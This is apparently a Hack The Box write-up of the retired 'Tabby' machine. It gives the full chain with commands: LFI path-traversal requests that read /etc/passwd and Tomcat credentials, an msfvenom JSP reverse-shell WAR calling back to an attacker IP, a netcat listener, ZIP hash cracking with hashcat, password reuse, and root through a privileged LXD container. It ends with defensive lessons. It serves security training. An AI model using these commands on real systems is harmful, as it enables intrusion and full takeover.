root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat tabby.md
// writeups

Tabby

20 Jun 2020 · 9 min read
Tabby - maquina de Hack The Box

Executive summary — Tabby is an Easy Linux box with a very complete chain: an LFI in news.php first leaks a system user (ash) and then Tomcat's credentials file; those credentials deploy a malicious WAR on the Manager (RCE); a backup ZIP found on the web server itself is cracked and its password is reused for user ash; and since ash is in the lxd group, we escalate to root by building a custom Alpine image on the attacker box and mounting the host filesystem in a privileged container. A LFI → Tomcat WAR → ZIP → LXD → root path.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.22.24

Attack map

[80] megahosting.htb/news.php?file= → LFI (path traversal)
   │  /etc/passwd → user «ash»
   │  tomcat-users.xml → Tomcat Manager credentials
   ▼
[8080] Tomcat Manager → deploy WAR (JSP reverse shell) → RCE (tomcat)
   │  /var/www/html/files/16162020_backup.zip → zip2john + hashcat → «admin@it»
   ▼
[su ash]  reused password → user.txt
   │  id → lxd group
   ▼
[LXD]  Alpine image built on the attacker box → privileged container
   │  mounts host / at /mnt/root
   ▼
[ROOT]  /mnt/root/root/root.txt

1. Reconnaissance

Full port and service scan:

nmap -p- -sC -sV -n -oA scan 10.129.22.24
  • -p-: scans all 65535 ports.
  • -sC: Nmap's default scripts.
  • -sV: version detection.
  • -n: skip DNS resolution.
  • -oA scan: saves the output in all three formats as scan.
22/tcp    open  ssh
80/tcp    open  http    Apache
8080/tcp  open  http    Apache Tomcat

Port 8080 is the interesting one: it exposes an Apache Tomcat, which ends up being the initial access vector.

2. LFI → system user

The port 80 site references the domain megahosting.htb, so we add it to our local /etc/hosts:

echo "10.129.22.24 megahosting.htb" | sudo tee -a /etc/hosts

Browsing the site reveals news.php?file=statement, a classic LFI (Local File Inclusion) pattern: the file parameter includes a system resource without validating the path. We confirm it with a classic path traversal against /etc/passwd:

curl "http://megahosting.htb/news.php?file=../../../../etc/passwd"

The inclusion works, and among the system accounts we spot one that isn't a standard system account: ash. That detail directly shapes the later lateral movement.

3. Tomcat Manager — from the LFI to credentials

Why: since file= lets us read any path the web process can access, the next logical target is Tomcat's configuration (port 8080), where the Manager users live:

curl "http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml"
tomcat : $3cureP4s5w0rd123!

Those credentials authenticate against the Tomcat Manager and allow deploying applications — the standard RCE vector on Tomcat.

4. RCE — deploying a malicious WAR

The right payload is a Java/JSP reverse shell, since Tomcat runs Java applications packaged as WAR files (a generic Linux payload wouldn't work here):

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f war -o shell.war

We start the listener and upload the WAR to the Manager using the credentials we found:

nc -lvnp 4444
curl -u 'tomcat:$3cureP4s5w0rd123!' -T shell.war \
  "http://10.129.22.24:8080/manager/text/deploy?path=/shell"
OK - Deployed application at context path [/shell]

We trigger the payload by hitting the deployed application:

curl http://10.129.22.24:8080/shell/
whoami  →  tomcat

We stabilize the shell to work comfortably (needed for su later on):

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

5. From the backup ZIP to ash (crack + reuse)

Already as tomcat, the web server's own directory has a password-protected backup:

cd /var/www/html/files
ls
16162020_backup.zip

Instead of trying to crack it on the target, we pull it to the attacker box and crack it there:

zip2john 16162020_backup.zip > hash
hashcat -m 17225 hash /usr/share/wordlists/rockyou.txt
admin@it

Reuse: that password works for the ash user we already found via the LFI:

su ash
# Password: admin@it
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),...,116(lxd)

Access confirmed as ash: user.txt is already reachable, and membership in the lxd group marks the road to root.

6. Escalation — lxd group

Why the lxd group equals root: whoever can manage LXD containers can launch a privileged one with the host filesystem mounted inside. Inside the container you're root, and with the host's real root mounted, you control the whole system.

The target had no useful outbound internet access to download images directly, and building the image by hand on the box itself ran into format issues. The reliable path was preparing the Alpine image on the attacker machine with lxd-alpine-builder and uploading it already built:

# on the attacker
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sudo ./build-alpine
python3 -m http.server 8000
alpine-v3.23-x86_64-20260420_1301.tar.gz

We download the pre-built tarball on the target (into /dev/shm, which is writable) and import it with lxc (installed via snap, hence the full binary path):

cd /dev/shm
wget http://<ATTACKER_IP>:8000/alpine-v3.23-x86_64-20260420_1301.tar.gz
/snap/bin/lxc image import alpine-v3.23-x86_64-20260420_1301.tar.gz --alias robert

Watch out: if lxc already has a storage pool and bridge configured (as it did here), re-running lxd init triggers a useless loop of prompts — LXD is already set up and doesn't need reinitializing.

With the image imported, we create a privileged container and mount the host's root into it:

/snap/bin/lxc init robert robertcontenedor -c security.privileged=true
/snap/bin/lxc config device add robertcontenedor host-root disk source=/ path=/mnt/root recursive=true
/snap/bin/lxc start robertcontenedor
/snap/bin/lxc exec robertcontenedor /bin/sh
id
uid=0(root) ...

Root inside the container and, with the host mounted at /mnt/root, root outside of it too:

cd /mnt/root/root
cat root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Info leaknews.phpLFI (file=) → /etc/passwd and tomcat-users.xmlSystem user + Tomcat credentials
FootholdApache Tomcat ManagerAuthenticated WAR deploymentRCE as tomcat
LateralBackup ZIP in /var/www/html/filesCrackable ZIP + password reused by ashUser ash
PrivEsclxd groupPrivileged container with host mountedRoot

Lessons learned

  • LFI is a config leak: sanitise file includes; don't allow user-controlled paths, whether in your own app or in integrations with services like Tomcat.
  • Don't expose the Tomcat Manager or leave tomcat-users.xml reachable from another vulnerability on the same box.
  • Don't leave weak-password backups in directories served by the web server; they get cracked and, if reused, compromise real accounts.
  • The lxd group is root-equivalent. Don't add users to it without a real need to manage containers.
  • When the target has no outbound internet access, building the artifact (LXD image, binary, etc.) on the attacker box and serving it over HTTP is more reliable than generating it in place.